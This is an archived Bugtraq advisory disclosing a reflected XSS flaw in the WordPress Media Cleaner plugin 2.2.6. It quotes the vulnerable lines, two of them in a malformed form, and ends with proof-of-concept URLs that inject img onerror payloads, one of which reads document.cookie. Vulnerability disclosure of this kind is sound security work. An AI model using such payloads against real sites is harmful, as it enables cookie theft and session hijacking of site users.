bugtraq - Wordpress Media Cleaner Plugin

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-Id: <201502270704.t1R74bH9006929@sf01web3.securityfocus.com>
Date: Fri, 27 Feb 2015 07:04:37 GMT
From: iletisim@...ailsaygili.com.tr
To: bugtraq@...urityfocus.com
Subject: Wordpress Media Cleaner Plugin - XSS Vulnerability

# Exploit Title: Wordpress Media Cleaner - XSS
# Author: &#304;smail SAYGILI
# Web Site: www.ismailsaygili.com.tr
# E-Mail: iletisim@...ailsaygili.com.tr
# Date: 2015-02-26
# Plugin Download: https://downloads.wordpress.org/plugin/wp-media-cleaner.2.2.6.zip
# Version: 2.2.6


# Vulnerable File(s):
                [+] wp-media-cleaner.php

# Vulnerable Code(s):
				[+] 647. Line
					$view = $_GET['view'] : "issues"; 
				[+] 648. Line	
					$paged = $_GET['paged'] : 1;
				[+] 653. Line
					$s = isset ( $_GET[ 's' ] ) ? $_GET[ 's' ] : null;

# Request Method(s):
                [+] GET
 
# Vulnerable Parameter(s):
                [+] view, paged, s



# Proof of Concept

--> http://target.com/wordpress/wp-admin/upload.php?s=test&page=wp-media-cleaner&view={XSS}&paged={XSS}&s={XSS}

--> http://localhost/wordpress/wp-admin/upload.php?s=test&page=wp-media-cleaner&view="><img src=i onerror=prompt(/xss/)>&paged="><img src=i onerror=prompt(document.cookie)>&s="><img src=i onerror=prompt(/XSS/)>